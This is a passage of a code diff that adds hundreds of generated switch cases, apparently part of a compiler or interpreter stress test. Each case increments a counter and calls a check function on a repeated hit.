+ case 1470: if (n[1470]++ > 0) check ('a string 1470'); break;
+ case 1471: if (n[1471]++ > 0) check ('a string 1471'); break;
+ case 1472: if (n[1472]++ > 0) check ('a string 1472'); break;
+ case 1473: if (n[1473]++ > 0) check ('a string 1473'); break;
+ case 1474: if (n[1474]++ > 0) check ('a string 1474'); break;
+ case 1475: if (n[1475]++ > 0) check ('a string 1475'); break;
+ case 1476: if (n[1476]++ > 0) check ('a string 1476'); break;
+ case 1477: if (n[1477]++ > 0) check ('a string 1477'); break;
+ case 1478: if (n[1478]++ > 0) check ('a string 1478'); break;
+ case 1479: if (n[1479]++ > 0) check ('a string 1479'); break;
+ case 1480: if (n[1480]++ > 0) check ('a string 1480'); break;
+ case 1481: if (n[1481]++ > 0) check ('a string 1481'); break;
+ case 1482: if (n[1482]++ > 0) check ('a string 1482'); break;
+ case 1483: if (n[1483]++ > 0) check ('a string 1483'); break;
+ case 1484: if (n[1484]++ > 0) check ('a string 1484'); break;
+ case 1485: if (n[1485]++ > 0) check ('a string 1485'); break;
+ case 1486: if (n[1486]++ > 0) check ('a string 1486'); break;
+ case 1487: if (n[1487]++ > 0) check ('a string 1487'); break;
+ case 1488: if (n[1488]++ > 0) check ('a string 1488'); break;
+ case 1489: if (n[1489]++ > 0) check ('a string 1489'); break;
+ case 1490: if (n[1490]++ > 0) check ('a string 1490'); break;
+ case 1491: if (n[1491]++ > 0) check ('a string 1491'); break;
+ case 1492: if (n[1492]++ > 0) check ('a string 1492'); break;
+ case 1493: if (n[1493]++ > 0) check ('a string 1493'); break;
+ case 1494: if (n[1494]++ > 0) check ('a string 1494'); break;
+ case 1495: if (n[1495]++ > 0) check ('a string 1495'); break;
+ case 1496: if (n[1496]++ > 0) check ('a string 1496'); break;
+ case 1497: if (n[1497]++ > 0) check ('a string 1497'); break;
+ case 1498: if (n[1498]++ > 0) check ('a string 1498'); break;
+ case 1499: if (n[1499]++ > 0) check ('a string 1499'); break;
+ case 1500: if (n[1500]++ > 0) check ('a string 1500'); break;
+ case 1501: if (n[1501]++ > 0) check ('a string 1501'); break;
+ case 1502: if (n[1502]++ > 0) check ('a string 1502'); break;
+ case 1503: if (n[1503]++ > 0) check ('a string 1503'); break;
+ case 1504: if (n[1504]++ > 0) check ('a string 1504'); break;
+ case 1505: if (n[1505]++ > 0) check ('a string 1505'); break;
+ case 1506: if (n[1506]++ > 0) check ('a string 1506'); break;
+ case 1507: if (n[1507]++ > 0) check ('a string 1507'); break;
+ case 1508: if (n[1508]++ > 0) check ('a string 1508'); break;
+ case 1509: if (n[1509]++ > 0) check ('a string 1509'); break;
+ case 1510: if (n[1510]++ > 0) check ('a string 1510'); break;
+ case 1511: if (n[1511]++ > 0) check ('a string 1511'); break;
+ case 1512: if (n[1512]++ > 0) check ('a string 1512'); break;
+ case 1513: if (n[1513]++ > 0) check ('a string 1513'); break;
+ case 1514: if (n[1514]++ > 0) check ('a string 1514'); break;
+ case 1515: if (n[1515]++ > 0) check ('a string 1515'); break;
+ case 1516: if (n[1516]++ > 0) check ('a string 1516'); break;
+ case 1517: if (n[1517]++ > 0) check ('a string 1517'); break;
+ case 1518: if (n[1518]++ > 0) check ('a string 1518'); break;
+ case 1519: if (n[1519]++ > 0) check ('a string 1519'); break;
+ case 1520: if (n[1520]++ > 0) check ('a string 1520'); break;
+ case 1521: if (n[1521]++ > 0) check ('a string 1521'); break;
+ case 1522: if (n[1522]++ > 0) check ('a string 1522'); break;
+ case 1523: if (n[1523]++ > 0) check ('a string 1523'); break;
+ case 1524: if (n[1524]++ > 0) check ('a string 1524'); break;
+ case 1525: if (n[1525]++ > 0) check ('a string 1525'); break;
+ case 1526: if (n[1526]++ > 0) check ('a string 1526'); break;
+ case 1527: if (n[1527]++ > 0) check ('a string 1527'); break;
+ case 1528: if (n[1528]++ > 0) check ('a string 1528'); break;
+ case 1529: if (n[1529]++ > 0) check ('a string 1529'); break;
+ case 1530: if (n[1530]++ > 0) check ('a string 1530'); break;
+ case 1531: if (n[1531]++ > 0) check ('a string 1531'); break;
+ case 1532: if (n[1532]++ > 0) check ('a string 1532'); break;
+ case 1533: if (n[1533]++ > 0) check ('a string 1533'); break;
+ case 1534: if (n[1534]++ > 0) check ('a string 1534'); break;
+ case 1535: if (n[1535]++ > 0) check ('a string 1535'); break;
+ case 1536: if (n[1536]++ > 0) check ('a string 1536'); break;
+ case 1537: if (n[1537]++ > 0) check ('a string 1537'); break;
+ case 1538: if (n[1538]++ > 0) check ('a string 1538'); break;
+ case 1539: if (n[1539]++ > 0) check ('a string 1539'); break;
+ case 1540: if (n[1540]++ > 0) check ('a string 1540'); break;
+ case 1541: if (n[1541]++ > 0) check ('a string 1541'); break;
+ case 1542: if (n[1542]++ > 0) check ('a string 1542'); break;
+ case 1543: if (n[1543]++ > 0) check ('a string 1543'); break;
+ case 1544: if (n[1544]++ > 0) check ('a string 1544'); break;
+ case 1545: if (n[1545]++ > 0) check ('a string 1545'); break;
+ case 1546: if (n[1546]++ > 0) check ('a string 1546'); break;
+ case 1547: if (n[1547]++ > 0) check ('a string 1547'); break;
+ case 1548: if (n[1548]++ > 0) check ('a string 1548'); break;
+ case 1549: if (n[1549]++ > 0) check ('a string 1549'); break;
+ case 1550: if (n[1550]++ > 0) check ('a string 1550'); break;
+ case 1551: if (n[1551]++ > 0) check ('a string 1551'); break;
+ case 1552: if (n[1552]++ > 0) check ('a string 1552'); break;
+ case 1553: if (n[1553]++ > 0) check ('a string 1553'); break;
+ case 1554: if (n[1554]++ > 0) check ('a string 1554'); break;
+ case 1555: if (n[1555]++ > 0) check ('a string 1555'); break;
+ case 1556: if (n[1556]++ > 0) check ('a string 1556'); break;
+ case 1557: if (n[1557]++ > 0) check ('a string 1557'); break;
+ case 1558: if (n[1558]++ > 0) check ('a string 1558'); break;
+ case 1559: if (n[1559]++ > 0) check ('a string 1559'); break;
+ case 1560: if (n[1560]++ > 0) check ('a string 1560'); break;
+ case 1561: if (n[1561]++ > 0) check ('a string 1561'); break;
+ case 1562: if (n[1562]++ > 0) check ('a string 1562'); break;
+ case 1563: if (n[1563]++ > 0) check ('a string 1563'); break;
+ case 1564: if (n[1564]++ > 0) check ('a string 1564'); break;
+ case 1565: if (n[1565]++ > 0) check ('a string 1565'); break;
+ case 1566: if (n[1566]++ > 0) check ('a string 1566'); break;
+ case 1567: if (n[1567]++ > 0) check ('a string 1567'); break;
+ case 1568: if (n[1568]++ > 0) check ('a string 1568'); break;
+ case 1569: if (n[1569]++ > 0) check ('a string 1569'); break;
+ case 1570: if (n[1570]++ > 0) check ('a string 1570'); break;
+ case 1571: if (n[1571]++ > 0) check ('a string 1571'); break;
+ case 1572: if (n[1572]++ > 0) check ('a string 1572'); break;
+ case 1573: if (n[1573]++ > 0) check ('a string 1573'); break;
+ case 1574: if (n[1574]++ > 0) check ('a string 1574'); break;
+ case 1575: if (n[1575]++ > 0) check ('a string 1575'); break;
+ case 1576: if (n[1576]++ > 0) check ('a string 1576'); break;
+ case 1577: if (n[1577]++ > 0) check ('a string 1577'); break;
+ case 1578: if (n[1578]++ > 0) check ('a string 1578'); break;
+ case 1579: if (n[1579]++ > 0) check ('a string 1579'); break;
+ case 1580: if (n[1580]++ > 0) check ('a string 1580'); break;
+ case 1581: if (n[1581]++ > 0) check ('a string 1581'); break;
+ case 1582: if (n[1582]++ > 0) check ('a string 1582'); break;
+ case 1583: if (n[1583]++ > 0) check ('a string 1583'); break;
+ case 1584: if (n[1584]++ > 0) check ('a string 1584'); break;
+ case 1585: if (n[1585]++ > 0) check ('a string 1585'); break;
+ case 1586: if (n[1586]++ > 0) check ('a string 1586'); break;
+ case 1587: if (n[1587]++ > 0) check ('a string 1587'); break;
+ case 1588: if (n[1588]++ > 0) check ('a string 1588'); break;
+ case 1589: if (n[1589]++ > 0) check ('a string 1589'); break;
+ case 1590: if (n[1590]++ > 0) check ('a string 1590'); break;
+ case 1591: if (n[1591]++ > 0) check ('a string 1591'); break;
+ case 1592: if (n[1592]++ > 0) check ('a string 1592'); break;
+ case 1593: if (n[1593]++ > 0) check ('a string 1593'); break;
+ case 1594: if (n[1594]++ > 0) check ('a string 1594'); break;
+ case 1595: if (n[1595]++ > 0) check ('a string 1595'); break;
+ case 1596: if (n[1596]++ > 0) check ('a string 1596'); break;
+ case 1597: if (n[1597]++ > 0) check ('a string 1597'); break;
+ case 1598: if (n[1598]++ > 0) check ('a string 1598'); break;
+ case 1599: if (n[1599]++ > 0) check ('a string 1599'); break;
+ case 1600: if (n[1600]++ > 0) check ('a string 1600'); break;
+ case 1601: if (n[1601]++ > 0) check ('a string 1601'); break;
+ case 1602: if (n[1602]++ > 0) check ('a string 1602'); break;
+ case 1603: if (n[1603]++ > 0) check ('a string 1603'); break;
+ case 1604: if (n[1604]++ > 0) check ('a string 1604'); break;
+ case 1605: if (n[1605]++ > 0) check ('a string 1605'); break;
+ case 1606: if (n[1606]++ > 0) check ('a string 1606'); break;
+ case 1607: if (n[1607]++ > 0) check ('a string 1607'); break;
+ case 1608: if (n[1608]++ > 0) check ('a string 1608'); break;
+ case 1609: if (n[1609]++ > 0) check ('a string 1609'); break;
+ case 1610: if (n[1610]++ > 0) check ('a string 1610'); break;
+ case 1611: if (n[1611]++ > 0) check ('a string 1611'); break;
+ case 1612: if (n[1612]++ > 0) check ('a string 1612'); break;
+ case 1613: if (n[1613]++ > 0) check ('a string 1613'); break;
+ case 1614: if (n[1614]++ > 0) check ('a string 1614'); break;
+ case 1615: if (n[1615]++ > 0) check ('a string 1615'); break;
+ case 1616: if (n[1616]++ > 0) check ('a string 1616'); break;
+ case 1617: if (n[1617]++ > 0) check ('a string 1617'); break;
+ case 1618: if (n[1618]++ > 0) check ('a string 1618'); break;
+ case 1619: if (n[1619]++ > 0) check ('a string 1619'); break;
+ case 1620: if (n[1620]++ > 0) check ('a string 1620'); break;
+ case 1621: if (n[1621]++ > 0) check ('a string 1621'); break;
+ case 1622: if (n[1622]++ > 0) check ('a string 1622'); break;
+ case 1623: if (n[1623]++ > 0) check ('a string 1623'); break;
+ case 1624: if (n[1624]++ > 0) check ('a string 1624'); break;
+ case 1625: if (n[1625]++ > 0) check ('a string 1625'); break;
+ case 1626: if (n[1626]++ > 0) check ('a string 1626'); break;
+ case 1627: if (n[1627]++ > 0) check ('a string 1627'); break;
+ case 1628: if (n[1628]++ > 0) check ('a string 1628'); break;
+ case 1629: if (n[1629]++ > 0) check ('a string 1629'); break;
+ case 1630: if (n[1630]++ > 0) check ('a string 1630'); break;
+ case 1631: if (n[1631]++ > 0) check ('a string 1631'); break;
+ case 1632: if (n[1632]++ > 0) check ('a string 1632'); break;
+ case 1633: if (n[1633]++ > 0) check ('a string 1633'); break;
+ case 1634: if (n[1634]++ > 0) check ('a string 1634'); break;
+ case 1635: if (n[1635]++ > 0) check ('a string 1635'); break;
+ case 1636: if (n[1636]++ > 0) check ('a string 1636'); break;
+ case 1637: if (n[1637]++ > 0) check ('a string 1637'); break;
+ case 1638: if (n[1638]++ > 0) check ('a string 1638'); break;
+ case 1639: if (n[1639]++ > 0) check ('a string 1639'); break;
+ case 1640: if (n[1640]++ > 0) check ('a string 1640'); break;
+ case 1641: if (n[1641]++ > 0) check ('a string 1641'); break;
+ case 1642: if (n[1642]++ > 0) check ('a string 1642'); break;
+ case 1643: if (n[1643]++ > 0) check ('a string 1643'); break;
+ case 1644: if (n[1644]++ > 0) check ('a string 1644'); break;
+ case 1645: if (n[1645]++ > 0) check ('a string 1645'); break;
+ case 1646: if (n[1646]++ > 0) check ('a string 1646'); break;
+ case 1647: if (n[1647]++ > 0) check ('a string 1647'); break;
+ case 1648: if (n[1648]++ > 0) check ('a string 1648'); break;
+ case 1649: if (n[1649]++ > 0) check ('a string 1649'); break;
+ case 1650: if (n[1650]++ > 0) check ('a string 1650'); break;
+ case 1651: if (n[1651]++ > 0) check ('a string 1651'); break;
+ case 1652: if (n[1652]++ > 0) check ('a string 1652'); break;
+ case 1653: if (n[1653]++ > 0) check ('a string 1653'); break;
+ case 1654: if (n[1654]++ > 0) check ('a string 1654'); break;
+ case 1655: if (n[1655]++ > 0) check ('a string 1655'); break;
+ case 1656: if (n[1656]++ > 0) check ('a string 1656'); break;
+ case 1657: if (n[1657]++ > 0) check ('a string 1657'); break;
+ case 1658: if (n[1658]++ > 0) check ('a string 1658'); break;
+ case 1659: if (n[1659]++ > 0) check ('a string 1659'); break;
+ case 1660: if (n[1660]++ > 0) check ('a string 1660'); break;
+ case 1661: if (n[1661]++ > 0) check ('a string 1661'); break;
+ case 1662: if (n[1662]++ > 0) check ('a string 1662'); break;
+ case 1663: if (n[1663]++ > 0) check ('a string 1663'); break;
+ case 1664: if (n[1664]++ > 0) check ('a string 1664'); break;
+ case 1665: if (n[1665]++ > 0) check ('a string 1665'); break;
+ case 1666: if (n[1666]++ > 0) check ('a string 1666'); break;
+ case 1667: if (n[1667]++ > 0) check ('a string 1667'); break;
+ case 1668: if (n[1668]++ > 0) check ('a string 1668'); break;
+ case 1669: if (n[1669]++ > 0) check ('a string 1669'); break;
+ case 1670: if (n[1670]++ > 0) check ('a string 1670'); break;
+ case 1671: if (n[1671]++ > 0) check ('a string 1671'); break;
+ case 1672: if (n[1672]++ > 0) check ('a string 1672'); break;
+ case 1673: if (n[1673]++ > 0) check ('a string 1673'); break;
+ case 1674: if (n[1674]++ > 0) check ('a string 1674'); break;
+ case 1675: if (n[1675]++ > 0) check ('a string 1675'); break;
+ case 1676: if (n[1676]++ > 0) check ('a string 1676'); break;
+ case 1677: if (n[1677]++ > 0) check ('a string 1677'); break;
+ case 1678: if (n[1678]++ > 0) check ('a string 1678'); break;
+ case 1679: if (n[1679]++ > 0) check ('a string 1679'); break;
+ case 1680: if (n[1680]++ > 0) check ('a string 1680'); break;
+ case 1681: if (n[1681]++ > 0) check ('a string 1681'); break;
+ case 1682: if (n[1682]++ > 0) check ('a string 1682'); break;
+ case 1683: if (n[1683]++ > 0) check ('a string 1683'); break;
+ case 1684: if (n[1684]++ > 0) check ('a string 1684'); break;
+ case 1685: if (n[1685]++ > 0) check ('a string 1685'); break;
+ case 1686: if (n[1686]++ > 0) check ('a string 1686'); break;
+ case 1687: if (n[1687]++ > 0) check ('a string 1687'); break;
+ case 1688: if (n[1688]++ > 0) check ('a string 1688'); break;
+ case 1689: if (n[1689]++ > 0) check ('a string 1689'); break;
+ case 1690: if (n[1690]++ > 0) check ('a string 1690'); break;
+ case 1691: if (n[1691]++ > 0) check ('a string 1691'); break;
+ case 1692: if (n[1692]++ > 0) check ('a string 1692'); break;
+ case 1693: if (n[1693]++ > 0) check ('a string 1693'); break;
+ case 1694: if (n[1694]++ > 0) check ('a string 1694'); break;
+ case 1695: if (n[1695]++ > 0) check ('a string 1695'); break;
+ case 1696: if (n[1696]++ > 0) check ('a string 1696'); break;
+ case 1697: if (n[1697]++ > 0) check ('a string 1697'); break;
+ case 1698: if (n[1698]++ > 0) check ('a string 1698'); break;
+ case 1699: if (n[1699]++ > 0) check ('a string 1699'); break;
+ case 1700: if (n[1700]++ > 0) check ('a string 1700'); break;
+ case 1701: if (n[1701]++ > 0) check ('a string 1701'); break;
+ case 1702: if (n[1702]++ > 0) check ('a string 1702'); break;
+ case 1703: if (n[1703]++ > 0) check ('a string 1703'); break;
+ case 1704: if (n[1704]++ > 0) check ('a string 1704'); break;
+ case 1705: if (n[1705]++ > 0) check ('a string 1705'); break;
+ case 1706: if (n[1706]++ > 0) check ('a string 1706'); break;
+ case 1707: if (n[1707]++ > 0) check ('a string 1707'); break;
+ case 1708: if (n[1708]++ > 0) check ('a string 1708'); break;
+ case 1709: if (n[1709]++ > 0) check ('a string 1709'); break;
+ case 1710: if (n[1710]++ > 0) check ('a string 1710'); break;
+ case 1711: if (n[1711]++ > 0) check ('a string 1711'); break;
+ case 1712: if (n[1712]++ > 0) check ('a string 1712'); break;
+ case 1713: if (n[1713]++ > 0) check ('a string 1713'); break;
+ case 1714: if (n[1714]++ > 0) check ('a string 1714'); break;
+ case 1715: if (n[1715]++ > 0) check ('a string 1715'); break;
+ case 1716: if (n[1716]++ > 0) check ('a string 1716'); break;
+ case 1717: if (n[1717]++ > 0) check ('a string 1717'); break;
+ case 1718: if (n[1718]++ > 0) check ('a string 1718'); break;
+ case 1719: if (n[1719]++ > 0) check ('a string 1719'); break;
+ case 1720: if (n[1720]++ > 0) check ('a string 1720'); break;
+ case 1721: if (n[1721]++ > 0) check ('a string 1721'); break;
+ case 1722: if (n[1722]++ > 0) check ('a string 1722'); break;
+ case 1723: if (n[1723]++ > 0) check ('a string 1723'); break;
+ case 1724: if (n[1724]++ > 0) check ('a string 1724'); break;
+ case 1725: if (n[1725]++ > 0) check ('a string 1725'); break;
+ case 1726: if (n[1726]++ > 0) check ('a string 1726'); break;
+ case 1727: if (n[1727]++ > 0) check ('a string 1727'); break;
+ case 1728: if (n[1728]++ > 0) check ('a string 1728'); break;
+ case 1729: if (n[1729]++ > 0) check ('a string 1729'); break;
+ case 1730: if (n[1730]++ > 0) check ('a string 1730'); break;
+ case 1731: if (n[1731]++ > 0) check ('a string 1731'); break;
+ case 1732: if (n[1732]++ > 0) check ('a string 1732'); break;
+ case 1733: if (n[1733]++ > 0) check ('a string 1733'); break;
+ case 1734: if (n[1734]++ > 0) check ('a string 1734'); break;
+ case 1735: if (n[1735]++ > 0) check ('a string 1735'); break;
+ case 1736: if (n[1736]++ > 0) check ('a string 1736'); break;
+ case 1737: if (n[1737]++ > 0) check ('a string 1737'); break;
+ case 1738: if (n[1738]++ > 0) check ('a string 1738'); break;
+ case 1739: if (n[1739]++ > 0) check ('a string 1739'); break;
+ case 1740: if (n[1740]++ > 0) check ('a string 1740'); break;
+ case 1741: if (n[1741]++ > 0) check ('a string 1741'); break;
+ case 1742: if (n[1742]++ > 0) check ('a string 1742'); break;
+ case 1743: if (n[1743]++ > 0) check ('a string 1743'); break;
+ case 1744: if (n[1744]++ > 0) check ('a string 1744'); break;
+ case 1745: if (n[1745]++ > 0) check ('a string 1745'); break;
+ case 1746: if (n[1746]++ > 0) check ('a string 1746'); break;
+ case 1747: if (n[1747]++ > 0) check ('a string 1747'); break;
+ case 1748: if (n[1748]++ > 0) check ('a string 1748'); break;
+ case 1749: if (n[1749]++ > 0) check ('a string 1749'); break;
+ case 1750: if (n[1750]++ > 0) check ('a string 1750'); break;
+ case 1751: if (n[1751]++ > 0) check ('a string 1751'); break;
+ case 1752: if (n[1752]++ > 0) check ('a string 1752'); break;
+ case 1753: if (n[1753]++ > 0) check ('a string 1753'); break;
+ case 1754: if (n[1754]++ > 0) check ('a string 1754'); break;
+ case 1755: if (n[1755]++ > 0) check ('a string 1755'); break;
+ case 1756: if (n[1756]++ > 0) check ('a string 1756'); break;
+ case 1757: if (n[1757]++ > 0) check ('a string 1757'); break;
+ case 1758: if (n[1758]++ > 0) check ('a string 1758'); break;
+ case 1759: if (n[1759]++ > 0) check ('a string 1759'); break;
+ case 1760: if (n[1760]++ > 0) check ('a string 1760'); break;
+ case 1761: if (n[1761]++ > 0) check ('a string 1761'); break;
+ case 1762: if (n[1762]++ > 0) check ('a string 1762'); break;
+ case 1763: if (n[1763]++ > 0) check ('a string 1763'); break;
+ case 1764: if (n[1764]++ > 0) check ('a string 1764'); break;
+ case 1765: if (n[1765]++ > 0) check ('a string 1765'); break;
+ case 1766: if (n[1766]++ > 0) check ('a string 1766'); break;
+ case 1767: if (n[1767]++ > 0) check ('a string 1767'); break;
+ case 1768: if (n[1768]++ > 0) check ('a string 1768'); break;
+ case 1769: if (n[1769]++ > 0) check ('a string 1769'); break;
+ case 1770: if (n[1770]++ > 0) check ('a string 1770'); break;
+ case 1771: if (n[1771]++ > 0) check ('a string 1771'); break;
+ case 1772: if (n[1772]++ > 0) check ('a string 1772'); break;
+ case 1773: if (n[1773]++ > 0) check ('a string 1773'); break;
+ case 1774: if (n[1774]++ > 0) check ('a string 1774'); break;
+ case 1775: if (n[1775]++ > 0) check ('a string 1775'); break;
+ case 1776: if (n[1776]++ > 0) check ('a string 1776'); break;
+ case 1777: if (n[1777]++ > 0) check ('a string 1777'); break;
+ case 1778: if (n[1778]++ > 0) check ('a string 1778'); break;
+ case 1779: if (n[1779]++ > 0) check ('a string 1779'); break;
+ case 1780: if (n[1780]++ > 0) check ('a string 1780'); break;
+ case 1781: if (n[1781]++ > 0) check ('a string 1781'); break;
+ case 1782: if (n[1782]++ > 0) check ('a string 1782'); break;
+ case 1783: if (n[1783]++ > 0) check ('a string 1783'); break;
+ case 1784: if (n[1784]++ > 0) check ('a string 1784'); break;
+ case 1785: if (n[1785]++ > 0) check ('a string 1785'); break;
+ case 1786: if (n[1786]++ > 0) check ('a string 1786'); break;
+ case 1787: if (n[1787]++ > 0) check ('a string 1787'); break;
+ case 1788: if (n[1788]++ > 0) check ('a string 1788'); break;
+ case 1789: if (n[1789]++ > 0) check ('a string 1789'); break;
+ case 1790: if (n[1790]++ > 0) check ('a string 1790'); break;
+ case 1791: if (n[1791]++ > 0) check ('a string 1791'); break;
+ case 1792: if (n[1792]++ > 0) check ('a string 1792'); break;
+ case 1793: if (n[1793]++ > 0) check ('a string 1793'); break;
+ case 1794: if (n[1794]++ > 0) check ('a string 1794'); break;
+ case 1795: if (n[1795]++ > 0) check ('a string 1795'); break;
+ case 1796: if (n[1796]++ > 0) check ('a string 1796'); break;
+ case 1797: if (n[1797]++ > 0) check ('a string 1797'); break;
+ case 1798: if (n[1798]++ > 0) check ('a string 1798'); break;
+ case 1799: if (n[1799]++ > 0) check ('a string 1799'); break;
+ case 1800: if (n[1800]++ > 0) check ('a string 1800'); break;
+ case 1801: if (n[1801]++ > 0) check ('a string 1801'); break;
+ case 1802: if (n[1802]++ > 0) check ('a string 1802'); break;
+ case 1803: if (n[1803]++ > 0) check ('a string 1803'); break;
+ case 1804: if (n[1804]++ > 0) check ('a string 1804'); break;
+ case 1805: if (n[1805]++ > 0) check ('a string 1805'); break;
+ case 1806: if (n[1806]++ > 0) check ('a string 1806'); break;
+ case 1807: if (n[1807]++ > 0) check ('a string 1807'); break;
+ case 1808: if (n[1808]++ > 0) check ('a string 1808'); break;
+ case 1809: if (n[1809]++ > 0) check ('a string 1809'); break;
+ case 1810: if (n[1810]++ > 0) check ('a string 1810'); break;
+ case 1811: if (n[1811]++ > 0) check ('a string 1811'); break;
+ case 1812: if (n[1812]++ > 0) check ('a string 1812'); break;
+ case 1813: if (n[1813]++ > 0) check ('a string 1813'); break;
+ case 1814: if (n[1814]++ > 0) check ('a string 1814'); break;
+ case 1815: if (n[1815]++ > 0) check ('a string 1815'); break;
+ case 1816: if (n[1816]++ > 0) check ('a string 1816'); break;
+ case 1817: if (n[1817]++ > 0) check ('a string 1817'); break;
+ case 1818: if (n[1818]++ > 0) check ('a string 1818'); break;
+ case 1819: if (n[1819]++ > 0) check ('a string 1819'); break;
+ case 1820: if (n[1820]++ > 0) check ('a string 1820'); break;
+ case 1821: if (n[1821]++ > 0) check ('a string 1821'); break;
+ case 1822: if (n[1822]++ > 0) check ('a string 1822'); break;
+ case 1823: if (n[1823]++ > 0) check ('a string 1823'); break;
+ case 1824: if (n[1824]++ > 0) check ('a string 1824'); break;
+ case 1825: if (n[1825]++ > 0) check ('a string 1825'); break;
+ case 1826: if (n[1826]++ > 0) check ('a string 1826'); break;
+ case 1827: if (n[1827]++ > 0) check ('a string 1827'); break;
+ case 1828: if (n[1828]++ > 0) check ('a string 1828'); break;
+ case 1829: if (n[1829]++ > 0) check ('a string 1829'); break;
+ case 1830: if (n[1830]++ > 0) check ('a string 1830'); break;
+ case 1831: if (n[1831]++ > 0) check ('a string 1831'); break;
+ case 1832: if (n[1832]++ > 0) check ('a string 1832'); break;
+ case 1833: if (n[1833]++ > 0) check ('a string 1833'); break;
+ case 1834: if (n[1834]++ > 0) check ('a string 1834'); break;
+ case 1835: if (n[1835]++ > 0) check ('a string 1835'); break;
+ case 1836: if (n[1836]++ > 0) check ('a string 1836'); break;
+ case 1837: if (n[1837]++ > 0) check ('a string 1837'); break;
+ case 1838: if (n[1838]++ > 0) check ('a string 1838'); break;
+ case 1839: if (n[1839]++ > 0) check ('a string 1839'); break;
+ case 1840: if (n[1840]++ > 0) check ('a string 1840'); break;
+ case 1841: if (n[1841]++ > 0) check ('a string 1841'); break;
+ case 1842: if (n[1842]++ > 0) check ('a string 1842'); break;
+ case 1843: if (n[1843]++ > 0) check ('a string 1843'); break;
+ case 1844: if (n[1844]++ > 0) check ('a string 1844'); break;
+ case 1845: if (n[1845]++ > 0) check ('a string 1845'); break;
+ case 1846: if (n[1846]++ > 0) check ('a string 1846'); break;
+ case 1847: if (n[1847]++ > 0) check ('a string 1847'); break;
+ case 1848: if (n[1848]++ > 0) check ('a string 1848'); break;
+ case 1849: if (n[1849]++ > 0) check ('a string 1849'); break;
+ case 1850: if (n[1850]++ > 0) check ('a string 1850'); break;
+ case 1851: if (n[1851]++ > 0) check ('a string 1851'); break;
+ case 1852: if (n[1852]++ > 0) check ('a string 1852'); break;
+ case 1853: if (n[1853]++ > 0) check ('a string 1853'); break;
+ case 1854: if (n[1854]++ > 0) check ('a string 1854'); break;
+ case 1855: if (n[1855]++ > 0) check ('a string 1855'); break;
+ case 1856: if (n[1856]++ > 0) check ('a string 1856'); break;
+ case 1857: if (n[1857]++ > 0) check ('a string 1857'); break;
+ case 1858: if (n[1858]++ > 0) check ('a string 1858'); break;
+ case 1859: if (n[1859]++ > 0) check ('a string 1859'); break;
+ case 1860: if (n[1860]++ > 0) check ('a string 1860'); break;
+ case 1861: if (n[1861]++ > 0) check ('a string 1861'); break;
+ case 1862: if (n[1862]++ > 0) check ('a string 1862'); break;
+ case 1863: if (n[1863]++ > 0) check ('a string 1863'); break;
+ case 1864: if (n[1864]++ > 0) check ('a string 1864'); break;
+ case 1865: if (n[1865]++ > 0) check ('a string 1865'); break;
+ case 1866: if (n[1866]++ > 0) check ('a string 1866'); break;
+ case 1867: if (n[1867]++ > 0) check ('a string 1867'); break;
+ case 1868: if (n[1868]++ > 0) check ('a string 1868'); break;
+ case 1869: if (n[1869]++ > 0) check ('a string 1869'); break;
+ case 1870: if (n[1870]++ > 0) check ('a string 1870'); break;
+ case 1871: if (n[1871]++ > 0) check ('a string 1871'); break;
+ case 1872: if (n[1872]++ > 0) check ('a string 1872'); break;
+ case 1873: if (n[1873]++ > 0) check ('a string 1873'); break;
+ case 1874: if (n[1874]++ > 0) check ('a string 1874'); break;
+ case 1875: if (n[1875]++ > 0) check ('a string 1875'); break;
+ case 1876: if (n[1876]++ > 0) check ('a string 1876'); break;
+ case 1877: if (n[1877]++ > 0) check ('a string 1877'); break;
+ case 1878: if (n[1878]++ > 0) check ('a string 1878'); break;
+ case 1879: if (n[1879]++ > 0) check ('a string 1879'); break;
+ case 1880: if (n[1880]++ > 0) check ('a string 1880'); break;
+ case 1881: if (n[1881]++ > 0) check ('a string 1881'); break;
+ case 1882: if (n[1882]++ > 0) check ('a string 1882'); break;
+ case 1883: if (n[1883]++ > 0) check ('a string 1883'); break;
+ case 1884: if (n[1884]++ > 0) check ('a string 1884'); break;
+ case 1885: if (n[1885]++ > 0) check ('a string 1885'); break;
+ case 1886: if (n[1886]++ > 0) check ('a string 1886'); break;
+ case 1887: if (n[1887]++ > 0) check ('a string 1887'); break;
+ case 1888: if (n[1888]++ > 0) check ('a string 1888'); break;
+ case 1889: if (n[1889]++ > 0) check ('a string 1889'); break;
+ case 1890: if (n[1890]++ > 0) check ('a string 1890'); break;
+ case 1891: if (n[1891]++ > 0) check ('a string 1891'); break;
+ case 1892: if (n[1892]++ > 0) check ('a string 1892'); break;
+ case 1893: if (n[1893]++ > 0) check ('a string 1893'); break;
+ case 1894: if (n[1894]++ > 0) check ('a string 1894'); break;
+ case 1895: if (n[1895]++ > 0) check ('a string 1895'); break;
+ case 1896: if (n[1896]++ > 0) check ('a string 1896'); break;
+ case 1897: if (n[1897]++ > 0) check ('a string 1897'); break;
+ case 1898: if (n[1898]++ > 0) check ('a string 1898'); break;
+ case 1899: if (n[1899]++ > 0) check ('a string 1899'); break;
+ case 1900: if (n[1900]++ > 0) check ('a string 1900'); break;
+ case 1901: if (n[1901]++ > 0) check ('a string 1901'); break;
+ case 1902: if (n[1902]++ > 0) check ('a string 1902'); break;
+ case 1903: if (n[1903]++ > 0) check ('a string 1903'); break;
+ case 1904: if (n[1904]++ > 0) check ('a string 1904'); break;
+ case 1905: if (n[1905]++ > 0) check ('a string 1905'); break;
+ case 1906: if (n[1906]++ > 0) check ('a string 1906'); break;
+ case 1907: if (n[1907]++ > 0) check ('a string 1907'); break;
+ case 1908: if (n[1908]++ > 0) check ('a string 1908'); break;
+ case 1909: if (n[1909]++ > 0) check ('a string 1909'); break;
+ case 1910: if (n[1910]++ > 0) check ('a string 1910'); break;
+ case 1911: if (n[1911]++ > 0) check ('a string 1911'); break;
+ case 1912: if (n[1912]++ > 0) check ('a string 1912'); break;
+ case 1913: if (n[1913]++ > 0) check ('a string 1913'); break;
+ case 1914: if (n[1914]++ > 0) check ('a string 1914'); break;
+ case 1915: if (n[1915]++ > 0) check ('a string 1915'); break;
+ case 1916: if (n[1916]++ > 0) check ('a string 1916'); break;
+ case 1917: if (n[1917]++ > 0) check ('a string 1917'); break;
+ case 1918: if (n[1918]++ > 0) check ('a string 1918'); break;
+ case 1919: if (n[1919]++ > 0) check ('a string 1919'); break;
+ case 1920: if (n[1920]++ > 0) check ('a string 1920'); break;
+ case 1921: if (n[1921]++ > 0) check ('a string 1921'); break;
+ case 1922: if (n[1922]++ > 0) check ('a string 1922'); break;
+ case 1923: if (n[1923]++ > 0) check ('a string 1923'); break;
